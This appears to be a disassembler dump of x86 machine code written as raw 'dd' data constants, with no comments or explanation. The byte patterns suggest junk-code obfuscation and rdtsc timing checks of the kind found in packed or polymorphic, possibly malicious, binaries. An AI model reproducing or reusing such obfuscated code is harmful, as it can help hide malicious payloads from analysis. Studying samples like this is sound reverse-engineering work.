dd 943810A3h, 0FE7F46Ah, 839D1F6Bh, 0FE50DE16h, 0F21503BFh
dd 5F7AFECh, 846F6Ah, 9B2E4DF4h, 0B0435ED3h, 0D40AC22Ch
dd 150FCE82h, 2A904E76h, 1E12FCB5h, 97B7678h, 490F8C15h
dd 9725CCD5h, 1BA57057h, 5C2F1588h, 5F7D7C0h, 2F3E4368h
dd 0E52C6075h, 180EEB0Bh, 0B9E78EA6h, 0EA64A013h, 0E70FE107h
dd 11E0F975h, 0BA12879Fh, 0C9096A02h, 49B75336h, 0A42BCBD6h
dd 71EE10B4h, 0EB0B8D64h
dd 47DBAE96h, 0A3BF415Ah, 0A249636h, 0DD14859Dh, 0AB39955Bh
dd 0EA64F621h, 0DC639315h, 14F2h, 0A36E4E00h, 0CF1DE6FCh
dd 169C428Ah, 12EA6501h, 4FC9688Ch, 0B0154784h, 4653CF41h
dd 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h, 0BFD850C4h
dd 32AFC034h, 0C9D04DBFh, 6B685D2Ah, 8900005Dh, 0AE682404h
dd 89000053h, 89522414h, 4C281E2h, 83000000h, 148704EAh
dd 34895C24h, 0B9BB5324h, 8909398Ch, 241C8BDAh, 4C481h
dd 0E9680000h, 89000051h, 4812424h, 424h, 52555E00h, 0EC243481h
dd 5D40B665h, 65ECF581h, 6E8940B6h, 348B5D08h, 0E1895124h
dd 4C181h, 0C1830000h, 240C8704h, 24148B5Ch, 81E18951h
dd 4C1h, 4C18300h, 5C240C87h, 0FBECE3E9h, 0B81097FFh, 9399170h
dd 0E0FFC503h, 49231705h, 0C739DB5h, 79C1536Bh, 2CF00C96h
dd 56AEC2F9h, 4A9374F0h, 26478980h, 728F5CE5h, 79DCE22Ah
dd 3D07205h, 7137CEE6h, 3583476Ch, 5B0FB64Bh, 9A089B3h
dd 167BFA88h, 45778253h, 261EE0B2h, 2213515Eh, 5CF74BD8h
dd 4DCE5495h, 34CE4B93h, 0D803426h, 43DBEE05h, 1D70C2EAh
dd 68FADC6Bh, 2DEE079Dh, 9CCF707h, 13F1D937h, 5E3FF28Ch
dd 12E9A4F9h, 5234DA5Eh, 27AD46D5h, 2659858Dh, 6A0935h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8BEAE8C3h, 0F6050DFh, 0F8Eh, 0AE900h, 334D0000h, 0EB69274h
dd 0A31930BBh, 810F5250h, 0
dd 585A310Fh, 24048961h, 5822BF66h, 9E8006Ah, 0E9000000h
dd 0D37024A8h, 4ACF684Bh, 10E9h, 0FE841900h, 6542C434h
dd 76DE8A23h, 927E18BBh, 6A5BC8h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0EC35242h, 51C0CB2Ch, 9DB129F9h
dd 0DC858DC5h, 6A093994h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 7E8AC356h, 7DADB2Ch
dd 83DA8B66h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 3FD16CC3h, 10A967A5h, 20BB774Bh
dd 5020237Eh, 0FE8h, 0A6190D00h, 0AF1F4FE1h, 9EE60716h
dd 44D837C3h, 14E9h, 4095DF00h, 22A0D269h, 6B1D035h, 0BE6DEA4Fh
dd 0A95EA584h, 4895BC9h, 6A006A24h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 44FC351h
dd 6A006AAAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 662CC352h, 0C3D2537h, 0ACF38166h
dd 3195FF85h, 89093503h, 350BE98Dh, 0AB8D8D09h, 6A09389Ah
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 0B4D3C350h, 92D6D6BBh, 7E954h, 9EB60000h
dd 7F6E99D3h, 0E9D1FF91h, 6, 652B610Ch, 0BD8350B2h, 9351C19h
dd 97850F01h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0C4F9C357h, 6AEC3BF1h
dd 11E802h, 0F4100000h, 8D260B08h, 4A53800Eh, 0DE6A8FF7h
dd 5BBA4F56h, 9DBF6690h, 12E850A3h, 0EE000000h, 0CFF61C49h
dd 4299AF88h, 51F4B7A8h, 98F1E345h, 0BF665016h, 5B5F333Fh
dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0C6AD516h, 6911EB70h, 9E926F1h, 0CC000000h
dd 18F77DAFh, 748CE43Ah, 115195FFh, 85E90935h, 0E800000Ch
dd 0
aBacf9J db ']│МФ■9',9,'j',0
db 53h, 0E8h, 3
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 928C353h, 35260D8Dh, 2B858D09h, 6A093893h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8BD8C355h, 8E990DAh, 0E8000000h, 0C0451C26h, 5085DE0Bh
dd 6A90DE8Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0FBE6C356h, 0A155EE31h, 8A69447Bh
dd 35FF64FAh, 0
dd 0FD9B70Fh, 8964F9B7h, 25h, 895F5700h, 352EF99Dh, 985FF09h
dd 6A093530h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 0C1AAC350h, 5B3D9AF6h, 3135B4A4h
dd 352681B5h, 8BFF6A09h, 0DDB5FFFEh, 29093503h, 3517758Dh
dd 0B995FF09h, 0E909352Eh, 12Ch, 3880Fh, 8B660000h, 0E900B0D9h
dd 5, 1D602458h, 0F1BD892Dh, 0E6093500h, 299D8B70h, 0E4093510h
dd 0D5B58971h, 3C093512h, 0F9830F61h, 81000000h, 0FB28FFD7h
dd 0C8B60F4Fh, 6810Fh, 9D8B0000h, 9350345h, 6BAh, 399D0900h
dd 8B093502h, 68C0FC1h, 31000000h, 35324D95h, 4E8C109h
dd 0F766DF8Bh, 0C58BBBE2h, 0C82B50D0h, 0EE9h, 0EEBB8C00h
dd 612D2EFFh, 44CE633Ah, 8B313712h, 62E381D1h, 0E947216Eh
dd 6, 3051BD0Bh, 858B0935h, 93523E9h, 23E59D8Bh, 0C0830935h
dd 0D1950907h, 8309351Ah, 0BD0900C0h, 9350251h, 830FD03Bh
dd 0Dh, 0E9DFBF0Fh, 68h, 89045EBBh, 0D58D8B3Ah, 0E8093500h
dd 12h, 59926900h, 0F31C3436h, 0EA7025E0h, 0A539AFA8h
dd 0BD0B41B1h, 9352C39h, 1E1835Bh, 36840Fh, 6E90000h, 0A5000000h
dd 69BE009h, 0C880F81h, 0F000000h, 687h, 2D9D8B00h, 83093501h
dd 3500D5A5h, 9D8BFE09h, 9351171h, 23E99589h, 0E9F50935h
dd 0
dd 0E5AB58Dh, 6A0939h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 468A1BC3h, 697FE39h, 0D19D8B60h
dd 6109352Ah, 78B7006Ah, 82995FFh, 6A0935h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 5DD5DBC3h
dd 0E8D427E9h, 0Eh, 0FCBC5AE7h, 0F86B0741h, 71863D27h
dd 0F5F531Bh, 1182h, 0CE900h, 36330000h, 6AC8539Eh, 89CC0E81h
dd 23B92A6Bh, 29000008h, 350C499Dh, 0FCE18309h, 28759D89h
dd 66FC0935h, 2B6711BFh, 30E780C0h, 0BAh, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0E9E6040Bh, 0Bh, 6C3CAB94h, 9DA37859h, 6620908Fh, 0E502EB81h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0DF8B70Fh, 88h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 26C35646h, 8B66E1F6h
dd 0A5BF66FEh, 29958B8Fh, 3093516h, 352E2D9Dh, 7D8D8B09h
dd 6A093528h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 6318C350h, 0DC4C2564h, 50F8A8FDh
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0C49D562Ch, 0C0193F55h, 57006AFCh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0D6806B0Fh
dd 0DE96A58h, 80000000h, 7EC5204Dh, 805396B5h, 0ACF3A82Eh
dd 1249BD83h, 0F000935h, 3E84h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 5E87B0A7h
dd 7FC3A61Bh, 0B8DCh, 0DABB0000h, 8D5C5AEEh, 354C028Dh
dd 0A070BF09h, 0E1FF6B8Bh, 83F88B66h, 352255BDh, 840F0009h
dd 3C5h, 2255BD83h, 0F010935h, 3D384h, 6E900h, 5BCA0000h
dd 0E1EA5BDBh, 2255BD83h, 0F030935h, 38586h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 7E97364h, 1000000h, 96FDAAA4h, 0BF6092CBh, 3574636Fh
dd 0E9D98C66h, 6, 0C3754C6Ch, 0E1801694h, 919D8904h, 0A093502h
dd 37840FC9h, 0E9000001h, 14h, 7F00B3E3h, 78BD0773h, 58A9BFC7h
dd 0B3BF9147h, 55EA87BCh, 2B61858Bh, 6A0935h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BF66CEC3h
dd 0D7803F8Bh, 7D853392h, 6609350Dh, 901DBFBBh, 0FE850h
dd 36F0000h, 0BAF9F008h, 4DE27A39h, 0E29A8DFAh, 0FE92Dh
dd 6B330000h, 0A6737084h, 2E3996ABh, 0D9E99747h, 53905F0Dh
dd 2FCF8166h, 6A5BC4h, 0C383BF66h, 4E8F9h, 3FF0000h, 5250001Fh
dd 73E264BBh, 5A310F6Ah, 12E85058h, 0C1000000h, 6537C27h
dd 0CB738309h, 0CAA2F699h, 0C436C7Eh, 0FA8B667Bh, 24448B5Fh
dd 2880F04h, 8A000000h, 57008BDEh, 5BDA8B66h, 4244489h
dd 0FD23BF66h, 50006A58h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0EA8415C2h, 299F9034h
dd 350C498Dh, 0DD95FF09h, 8909350Ch, 38B76F85h, 50006A09h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 8214B1AEh, 619D8B7Ch, 0E9093526h, 19Ah, 21C9BD8Bh, 858B0935h
dd 938B767h, 1B800Fh, 89600000h, 35267D9Dh, 0EE909h, 54270000h
dd 53DF443h, 2B8CC93Fh, 0EF1BAD26h, 1800C761h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 755EC355h, 1545DB8Dh, 8B66962Dh, 0B58BF8D9h
dd 938B76Bh, 7CC78166h, 0D5858B96h, 0B7093524h, 20C38164h
dd 89362615h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 8B812A59h, 352B6185h, 57006A09h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 37F8DB9Ah, 419D03F7h, 89093516h, 81660446h, 180DBF3h
dd 350A218Dh, 0B0BF9609h, 5073D630h, 8B525052h, 66310FDEh
dd 585AF98Bh, 6A965Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0BB304DC3h, 30A99509h, 0B5FF0935h
dd 938B767h, 2BC59D8Bh, 55680935h, 663A23AAh, 3481FA8Bh
dd 3CA9AA24h, 51006A3Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0BE2F6E49h, 66CF6F56h, 858DFB8Bh
dd 938B76Fh, 14E9h, 4BDB2B00h, 4BC78450h, 3D78630Ch, 436134E1h
dd 0A9630B73h, 50509004h, 0B12B51BBh, 89905F3Fh, 350E71BDh
dd 0DD95FF09h, 6A09350Ch, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 0FDFC356h, 6A61FEBFh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 8FA9C351h, 8B520CECh, 5585C7FEh, 3093522h
dd 8B000000h, 350409BDh, 0DDBD8B09h, 83093505h, 38B76FBDh
dd 840F0009h, 26h, 6E8h, 5CB57C00h, 89E7E8CAh, 352609B5h
dd 2AE95F09h, 0E9000000h, 0Ah, 805A23F5h, 0DAA6F02Fh, 30502CE4h
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h
dd 0F4ECBFC0h, 6660503Ah, 46E2DE81h, 1BFD8D01h, 83610935h
dd 352255BDh, 850F0309h, 3F8h, 0B76FBD83h, 0F000938h, 3EB84h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 697389C4h, 922452D3h, 0BBBFEA06h, 0FF45C2F1h
dd 38B76FB5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 89C88842h, 61E515Fh, 2E1195FFh, 6BF0935h
dd 8B1072E0h, 350269BDh, 63B58B09h, 6A0938B7h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 8013C357h, 6C7F6EEh, 10001h, 60500BB3h, 2830Fh, 5B560000h
dd 5840Fh, 0D4BE0000h, 6164402Fh, 6A243489h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 3D2CC351h, 0A296E20Dh, 0DA8B662Ah, 0B76FB5FFh, 6A0938h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 37621DC3h, 8995FF01h, 8B093502h, 38B763B5h, 57006A09h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 898DAE5Eh, 353315B5h, 99858B09h, 6A09350Eh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0F4C6C351h, 0FBAE64D6h, 89035939h, 0C486h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 3870F96h, 66000000h, 958BF88Bh, 9351629h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 16C35545h, 0FDDF27AAh
dd 8B04C283h, 353041BDh, 20508909h, 5E9h, 9386EF00h, 858DCDE9h
dd 938CC07h, 0AE9h, 1FE0ED00h, 96CACA76h, 8925B8FAh
dd 0B886h, 55853100h, 0F09352Eh, 6AF8BFh, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 22C35747h, 0DE44CA10h
dd 0FF627C48h, 38B76FB5h, 52006A09h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0BE0284EDh
dd 0B589BF33h, 935245Dh, 115195FFh, 6A0935h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 58D10FC3h
dd 3113E4DFh, 0C19D8B16h, 5009350Ah, 0CB8B6660h, 50FA8B60h
dd 5A310F52h, 89616158h, 13E82434h, 54000000h, 7B759478h
dd 0C95CA2C8h, 686906B3h, 960D29CDh, 8A0F34DBh, 2, 0FF5F6160h
dd 38B76FB5h, 0FFD88B09h, 350B5595h, 56006A09h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FD15D0Dh
dd 0C82h, 68A0F00h, 8B000000h, 351BF5BDh, 79BD8309h, 93500h
dd 3E840Fh, 0F88B0000h, 0DE8B6696h, 0D7FDBF50h, 6A963F71h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 2D7BC356h, 0E995AAECh, 0Ch, 4D7FBA8Fh, 0BC945135h
dd 0BD5B9496h, 0B76FB5FFh, 6A0938h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 722EEAC3h
dd 0CBE05984h, 81E38166h, 3595FF6Bh, 0FF09351Ch, 38B76FB5h
dd 0FFA6B709h, 352CE595h, 319D8B09h, 8309351Dh, 3526BDBDh
dd 840F0209h, 74h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0C8C35545h, 858B6EB1h, 93526ADh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 69C35343h, 0E81FB27Ah
dd 1749B529h, 0C60935h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 5820FD5h, 66000000h, 6DBFE781h
dd 326585C7h, 935h, 0DA8A0000h, 0FFF494E9h, 51006AFFh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0E8A1D0C5h, 899B9F84h, 352AB58Dh, 0E9C18B09h, 14h, 0A0030769h
dd 632AB32Dh, 2EF322BEh, 0D1910119h, 0EE3D7FEAh, 2659858Dh
dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 3929B1C3h, 5DF3674Fh, 905B56A7h, 33F686BFh
dd 0E8905076h, 0Eh, 0C5D82E70h, 0C0D07E66h, 69056FECh
dd 0BD8BD4ADh, 935226Dh, 959D295Bh, 6A093516h, 959D8B00h
dd 6A09350Bh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 48ED0D36h, 13858D25h, 290939A3h
dd 3527C195h, 0D5B26009h, 6860Fh, 95890000h, 9351F75h
dd 5C08361h, 0D98B6650h, 8B240489h, 35122DBDh, 6A006A09h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 3AF0C350h, 0A64A200Ch, 3880Fh, 0D7800000h
dd 699D29A5h, 6A093529h, 0EE900h, 85BC0000h, 2400D289h
dd 0CA2E7248h, 4F4BC92h, 33195FFh, 6A0935h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D10B49C3h
dd 532865Ch, 719D093Eh, 8D093503h, 389AAB8Dh, 6AD1FF09h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 2DECC356h, 89605047h, 3526A585h, 0A2BE6609h
dd 8B5F610Fh, 352FF99Dh, 19BD8309h, 109351Ch, 47850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0DA0068C3h, 2C25843Eh, 50FC026Ah, 8B240489h
dd 3533059Dh, 5195FF09h, 0F093511h, 681h, 6DBD2B00h, 81093523h
dd 5584B4C3h, 0E24E930h, 0E80000h, 5D000000h, 0A31DED81h
dd 6A0939h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 0B8502FC3h, 7D24D3FBh, 0F34BBB66h, 932B858Dh
dd 0BD290938h, 9353081h, 12E990h, 11720000h, 54E1DD72h
dd 0FB40F795h, 6837539Bh, 0F74023FBh, 0BBB6650h, 0BB6690E3h
dd 0FF64ED8Dh, 35h, 84BF6600h, 25896432h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 38C35343h
dd 5B5311Ch, 0FF09351Eh, 35300985h, 9DBD8B09h, 6A093510h
dd 0AD9D89FFh, 0FF093516h, 352B11B5h, 55006A09h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0EAFCCF2Ah, 8B53F7FCh, 352FEDBDh, 0BD895B09h, 9350F7Dh
dd 2EB995FFh, 0FFE90935h, 0E9000000h, 12h, 0BE9616CCh
dd 497DA17Fh, 359D2101h, 10568921h, 0B0B71Eh, 2E19D89h
dd 70E60935h, 8171E4F9h, 0C80AD7DBh, 0F613C26h, 0CD83h
dd 0EE800h, 0AE320000h, 0F70187B9h, 0CA14398Ch, 0E17A7E30h
dd 1D9D9D8Bh, 0F5B0935h, 9D29C8B6h, 9352599h, 6BAF8h, 0B70F0000h
dd 60C18BD9h, 0BE9h, 60A95700h, 0E382E5A8h, 97E67E04h
dd 0FCDB589h, 0C1610935h, 3FBF04E8h, 667DB96Dh, 9D01E2F7h
dd 9350089h, 0D18BC82Bh, 0E9BCDF80h, 8, 0C7815B56h, 3E78A5E7h
dd 2F1D858Bh, 83F90935h, 8D8907C0h, 93524F5h, 0F00C083h
dd 686h, 659D8B00h, 3B09350Ah, 0E830FD0h, 23000000h, 35027DBDh
dd 30E909h, 0B70F0000h, 1D8D8BDAh, 31093510h, 35234D8Dh
dd 1E18309h, 18840Fh, 0A5830000h, 935101Dh, 1D9589FEh
dd 8B09352Fh, 3505419Dh, 0E909h, 0B58D0000h, 9391877h
dd 6AFAB70Fh, 0FE900h, 7A2F0000h, 47BCF338h, 0F48AF105h
dd 297F76BAh, 2995FFCFh, 8B093508h, 3505E1BDh, 7DEB909h
dd 0DF8B0000h, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0B98C352h, 0DF816616h
dd 6AFC3B95h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 0CF9CC350h, 9559D35Eh, 756D6B1Ah
dd 0DB59D01h, 0BF660935h, 0B82D5Bh, 0F000000h, 580h, 8B665000h
dd 0BA5BD8h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0F92C355h, 38Dh, 0DBB70F00h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 6ADBBF0Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0F19DC351h, 1B15BD09h, 0EE90935h, 0F3000000h, 0BE89590Fh
dd 5B1AA508h, 72BA388Bh, 880DB8h, 9D8B0000h, 9350B75h
dd 1629958Bh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 8909E4C3h, 351759BDh, 0EC34BF09h
dd 8D8B578Dh, 935287Dh, 2779BD8Bh, 8B500935h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 58C35545h, 57773E1Fh, 2810Fh
dd 5B500000h, 9589605Bh, 93510A5h, 7E9h, 48470900h, 0D4A6D23Fh
dd 959D0961h, 83093529h, 351249BDh, 840F0009h, 6Ah, 0B8FBBF0Fh
dd 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 83C35343h
dd 4C028D8Dh, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 1970CAC3h, 0E1783763h, 9E8B3E9h
dd 36000000h, 608250F9h, 424A74CBh, 0E1DB8166h, 0E1FF5B65h
dd 319D8D31h, 0BD830935h, 9352255h, 0CA840F00h, 89000004h
dd 35316D9Dh, 55BD8309h, 1093522h, 4D2840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 22B522C3h, 4CF594F8h, 0BD83FC8Ch, 9352255h, 6B860F03h
dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 6F87C355h, 29001B6h, 151BD31h
dd 95890935h, 9350BC1h, 12E860h, 52980000h, 7DBB918Bh
dd 2A4E9E6Bh, 0B7659E30h, 5089632Bh, 0FE9h, 6C0CA600h
dd 0A5125249h, 6D7A721Ch, 0D44EA00Eh, 0D98C665Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BAC35646h, 0EE40E43Eh
dd 580EBF66h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 907AC352h, 8166E025h
dd 0A8F28DBh, 0E0840FC9h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E7B0C356h
dd 0BFC67BBBh, 2BC5BD03h, 858B0935h, 9352B61h, 6E9h, 24C34500h
dd 3374AF2Dh, 350D7D85h, 6E85709h, 9D000000h, 40BD5F05h
dd 22BF6601h, 505B5B08h, 0D8FD21BBh, 24048922h, 13F1E781h
dd 860F1E94h, 3, 6ADF8B66h, 399D2B00h, 6809350Bh, 67CCAD09h
dd 3481DA8Bh, 0D3AEF624h, 57006A67h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0FF54B425h
dd 350CDD95h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 216B7E03h, 0EBDFA567h, 0F98B2FC6h
dd 0B76F8589h, 0C7810938h, 0B92EE36h, 226E9h, 0BDBD8900h
dd 8B09350Eh, 38B76785h, 0BD9D0B09h, 0C7093531h, 1800h
dd 0CDB58900h, 8B09350Fh, 38B76BB5h, 52006A09h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 4212F17Dh
dd 24D5858Bh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 8F0F1C3h, 8D10FB57h, 0CEB8BF48h
dd 68954B4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 79C35747h, 0E130B43h, 0FE9E66Eh, 86000000h, 0A7A37A30h
dd 210CF12Fh, 0F8B6042h, 9589F981h, 9351179h, 2B61858Bh
dd 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 8102D7C3h, 0CFD090E3h, 0C0BB1Fh, 46894D6Ch
dd 50FA8B04h, 85BF6660h, 13E960C5h, 67000000h, 0D2258A18h
dd 0B3D71224h, 0F1A579D4h, 2324692Ah, 61605CFBh, 34896161h
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 77816598h, 24A44B3Fh, 0C800F3Ch, 0E9000000h
dd 7, 0B2E4A0C4h, 0FF8D40D9h, 38B767B5h, 56006A09h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0F258EBAh, 2268FAB7h, 6052DCD6h, 2820Fh, 0F78B0000h
dd 0D024BB66h, 24348161h, 52C3D5DDh, 6919D89h, 858D0935h
dd 938B76Fh, 2E55BD8Bh, 50900935h, 0B8C0F52h, 0E8000000h
dd 5, 0AC1AFCDFh, 310F5F06h, 5ADA8B66h, 0BB665058h, 6A90A062h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 51E9C351h, 0B5318060h, 9351F1Dh, 15810Fh
dd 10E90000h, 97000000h, 623E902Dh, 638C019Ah, 82716FF8h
dd 0FFFED7F7h, 350CDD95h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 26198D93h
dd 8BFFA733h, 350F799Dh, 399D8B09h, 61093522h, 7E9h, 59CC3E00h
dd 0EEBABC18h, 225585C7h, 30935h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 8CD936C3h
dd 17B3355Bh, 0B76FBD83h, 0F000938h, 7584h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0FCFD71Eh, 0D8Ah, 8E900h, 0E0B30000h, 0A1C94AE5h, 8E81C27h
dd 0CA000000h, 0C26E1225h, 29F358C5h, 3503B59Dh, 46E95B09h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 0DB0FC355h, 219D8960h, 89093505h
dd 35286DBDh, 30506109h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 9650ED45h, 0EC1672C0h
dd 81662D65h, 6A2AB2CBh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 5BD8C353h, 831C80F1h
dd 352255BDh, 850F0309h, 4AEh, 2E6DBD8Bh, 0BD830935h, 938B76Fh
dd 9B840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 81ACC357h, 771A80CFh
dd 6FB5FF70h, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 3BE4C355h, 0F037CB91h
dd 0C1D0A59Eh, 5EF78166h, 1195FF53h, 6A09352Eh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 8884C353h, 2C072CCAh, 0E40C3E92h, 2F3D8509h, 850F0935h
dd 5, 75AF8FBFh, 63B58B50h, 0C70938B7h, 1000106h, 66605300h
dd 0ACCCE781h, 0F79B509h, 5F610935h, 6E996h, 95530000h
